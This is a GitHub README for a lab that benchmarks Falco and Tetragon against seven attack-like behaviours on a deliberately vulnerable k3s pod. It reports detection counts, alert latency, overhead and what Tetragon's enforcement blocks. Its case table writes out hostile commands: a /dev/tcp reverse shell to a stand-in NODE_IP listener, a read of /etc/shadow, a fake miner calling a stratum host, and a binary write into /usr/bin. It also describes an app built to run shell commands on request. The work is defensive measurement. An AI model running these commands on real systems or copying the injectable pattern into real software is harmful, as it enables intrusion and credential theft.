Skip to content

About

Seven attack-like behaviours against a vulnerable pod under Falco and Tetragon: what each caught, time to alert, overhead under load, and what Tetragon's SIGKILL and Override really block. Scripts and raw results.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

8 Commits

Folders and files

Repository files navigation

runtime-security-lab

A deliberately vulnerable web app on a one-node k3s cluster, seven attack-like behaviours run against it, and the same run under Falco and Tetragon. It records what each tool caught, how long the alert took to reach the node's disk, what each costs under steady load, and what Tetragon can block (and what still gets through when it does).

Write-up: Falco vs Tetragon: what your containers do at runtime, measured

Run it

You need a throwaway Ubuntu 24.04 amd64 host and a root shell. We used a 4 vCPU / 8 GB CPU-Optimized DigitalOcean droplet. Do not run it anywhere you care about: the victim app executes shell commands on request, and the run installs and removes kernel-level agents many times.

git clone https://github.com/The-DevOps-Daily/runtime-security-lab && cd runtime-security-lab
scripts/00-bootstrap.sh                     # as root: k3s, helm, fortio, builds the victim image
scripts/60-run-all.sh 2>&1 | tee run.log    # detection, enforcement, overhead (~2 h)
python3 analysis/summarize.py results       # writes results/summary/

The BPF LSM enforcement set needs bpf in the kernel's active LSM list, which Ubuntu 24.04 does not enable by default:

cat /sys/kernel/security/lsm        # lockdown,capability,landlock,yama,apparmor on our droplet
scripts/70-enable-bpf-lsm.sh        # adds lsm=...,bpf to the kernel command line and reboots
scripts/20-tool.sh install tetragon && SET=lsm scripts/50-enforce.sh 5

What runs

fortio (host) ──> web (nginx, 1 CPU)          overhead load
curl (host)   ──> victim:8080/run?case=X       the "command injection"
victim ──> NODE_IP:4444 / :3333                attacker listener on the host (scripts/listener.py)

victim/app.py runs a fixed shell command per case, the way a command-injection bug would, and records the wall clock right before it starts it. The cases:

case what it does
shell the web process (python) spawns sh -c id
shadow cat /etc/shadow
binwrite echo pwned > /usr/bin/rtsec-evil
outbound curl http://1.1.1.1/
revshell bash -i >& /dev/tcp/NODE_IP/4444 0>&1; the listener sends one command and records the reply
miner copies a binary to /tmp/xmrig and runs it with -o stratum+tcp://NODE_IP:3333; victim/fake-miner.c sends a Stratum login line and burns one CPU for 3 s. It mines nothing.
kexec kubectl exec -it victim -- sh with a real TTY (via script)

NODE_IP is the droplet's public address, so the connections go to a non-cluster address the tools treat as outbound. The packets never leave the host; the listener tells us exactly what arrived.

Configurations

config what is installed
none nothing
falco Falco 0.45.2 (chart 9.2.2), modern eBPF driver, default stable ruleset
falco-all the same plus Falco's incubating and sandbox rulesets
tetragon-bare Tetragon 1.8.0 (chart 1.8.0), no TracingPolicy: process exec/exit events only
tetragon the same plus the two policies in k8s/tetragon/detect/
tetragon-net the same with only the tcp_connect policy (overhead only)
falco-custom stable rules plus the three rules in k8s/falco/values-custom-rules.yaml

Everything else is chart defaults. Versions are pinned in scripts/versions.env.

Tetragon has no ruleset. A case counts as detected by Tetragon when an event matches the predicate for that case in analysis/summarize.py (TETRAGON_PREDICATES): a hit on one of our two policies, or a process_exec a one-line filter would flag. Falco counts when any of its rules fires for the victim pod in the case window.

Scripts

script does
00-bootstrap.sh k3s, helm, fortio, victim image
10-workloads.sh lab namespace: victim, web (nginx), bench
20-tool.sh install/uninstall one configuration
30-detect.sh each case 10 times; records the app's view, the listener's view and every alert with the time it hit the disk (stamp-tail.py)
40-overhead.sh idle 60 s, fortio 2,000 req/s for 60 s, fortio unlimited for 30 s, 5,000 execs, 2,000,000 one-byte dd reads and writes; agent CPU and memory per phase (procsnap.py)
50-enforce.sh applies each policy in k8s/tetragon/enforce/ (or enforce-lsm/) and records what still got through
60-run-all.sh all of it, overhead in 3 rounds with the order rotated
62-overhead-extra.sh second overhead session: none, tetragon, tetragon-net (connect policy only)
70-enable-bpf-lsm.sh adds bpf to the active LSMs and reboots, for SET=lsm 50-enforce.sh
code-sha.sh the hash stamped into every meta.json
analysis/summarize.py results/ to results/summary/; refuses interrupted or mixed-code runs

Results

All numbers come from results/summary/summary.json, which analysis/summarize.py builds from the raw files. Host: DigitalOcean CPU-Optimized droplet, 4 dedicated vCPUs, 8 GB, Ubuntu 24.04, kernel 6.8.0-149, run on 2026-11-28 and 29.

Detection, 10 runs per case (runs caught):

case falco falco-all falco-custom tetragon-bare tetragon
shell from the web process 0 0 10 10 10
read /etc/shadow 10 10 10 0 10
write into /usr/bin 0 10 10 0 10
outbound connection 0 10 10 0 10
reverse shell 10 10 10 0 10
fake miner from /tmp 10 10 10 10 10
kubectl exec shell 10 10 10 10 10

Every attack worked in all 10 runs of the none config (delivery check in attack_worked).

Kernel event to alert on disk, first alert per run: Falco stable median 1.5 ms, p95 21.0 ms, max 24.3 ms; Tetragon with policies median 0.7 ms, p95 1.4 ms, max 3.0 ms.

Overhead, median of 3 rounds, relative to no agent:

falco falco-all tetragon-bare tetragon
nginx max req/s (1 CPU) -11.9% -12.7% -0.1% -21.5%
fork+exec per second -12.4% -12.3% -27.6% -30.4%
1-byte read+write pairs per second -15.3% -14.8% -0.5% -81.3%
mean request at 2,000 req/s (none: 0.396 ms) 0.428 ms 0.425 ms 0.398 ms 0.469 ms

fortio's histogram buckets were 1 ms wide, so the summary reports the exact mean and the share of requests over 1 ms rather than interpolated sub-millisecond percentiles. Memory figures in the summary are MiB (RSS in kB / 1024), the median over rounds of each round's highest sample; RSS does not include kernel memory used by BPF maps.

The exec and dd phases are short (2 to 3 s and 1.3 to 7.3 s), so treat those percentages as indicative, not precise. Falco's metrics snapshots are every 15 s, and the last one in each round falls in the max-load phase, so "zero drops" covers the sampled counters only.

A second session (overhead-extra/, 2 rounds) isolates the file-access policy: with only the tcp_connect policy (tetragon-net), nginx max req/s and 1-byte I/O were within 1% of no agent; with both policies, -21% and -81% again.

BPF LSM (enforce-lsm/, after 70-enable-bpf-lsm.sh): lsm-file, lsm-connect and lsm-exec-tmp returned EPERM in 5 of 5 runs each, with no handshake to the listener. lsm-file refuses the write but, like kill-binwrite, leaves the empty file the shell created when it opened it.

Enforcement (Tetragon, 5 runs per case): see results/summary/summary.md. In short, Override stopped every operation it targeted; Sigkill stopped every process, but the TCP handshake to the on-node listener still completed (20 of 20, 10 per hook point) and kill-binwrite left an empty file; override-openat blocked nothing because musl calls open().

Which code produced which results

Each meta.json carries code_sha, from scripts/code-sha.sh (LC_ALL=C sorted). The hash covers scripts/, k8s/ and victim/, not analysis/summarize.py or scripts/versions.env; the analysis is in git history instead. After seeing it fire in every HTTP-triggered case window of the second session, we excluded our own Shell spawned by an application Falco rule from every case except shell (see FALCO_SHELL_RULE), and we tightened the delivery checks in attack_worked after an outside review; neither change altered a detection or delivery count.

Host checks (kernel config, active LSMs, the error-injection list) are in results/environment.txt.

results code_sha commit
overhead/, superseded-run1/ 412e263eef203869 first commit
detect/, enforce/ 10b488a3388f23fd second commit
overhead-extra/, enforce-lsm/ 405e14e198921692 third commit

The changes between them add configurations and scripts (falco-custom, tetragon-bare detection, kill-connect-syscall, tetragon-net, the LSM set); none changes how an existing configuration is installed or measured.

One earlier attempt was stopped and its data was not kept: the harness removed the dropped files inside the case window, and a failed unlink in /usr/bin made Falco's Modify binary dirs rule fire in every case. The cleanup now runs 2 s after each case, outside the window, and only removes files that exist. That fix made Falco's incubating and sandbox ruleset look worse (it lost a false shell-case detection), not better.

In the first session, the Tetragon alert-counts.txt files label every line node_labels: a jq bug picked the wrong key, so those counts are per pod only. The second session's files have the event types.

Polling for progress over SSH during the runs started a few short processes on the host every 30 to 60 seconds, in every configuration.

About

Seven attack-like behaviours against a vulnerable pod under Falco and Tetragon: what each caught, time to alert, overhead under load, and what Tetragon's SIGKILL and Override really block. Scripts and raw results.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages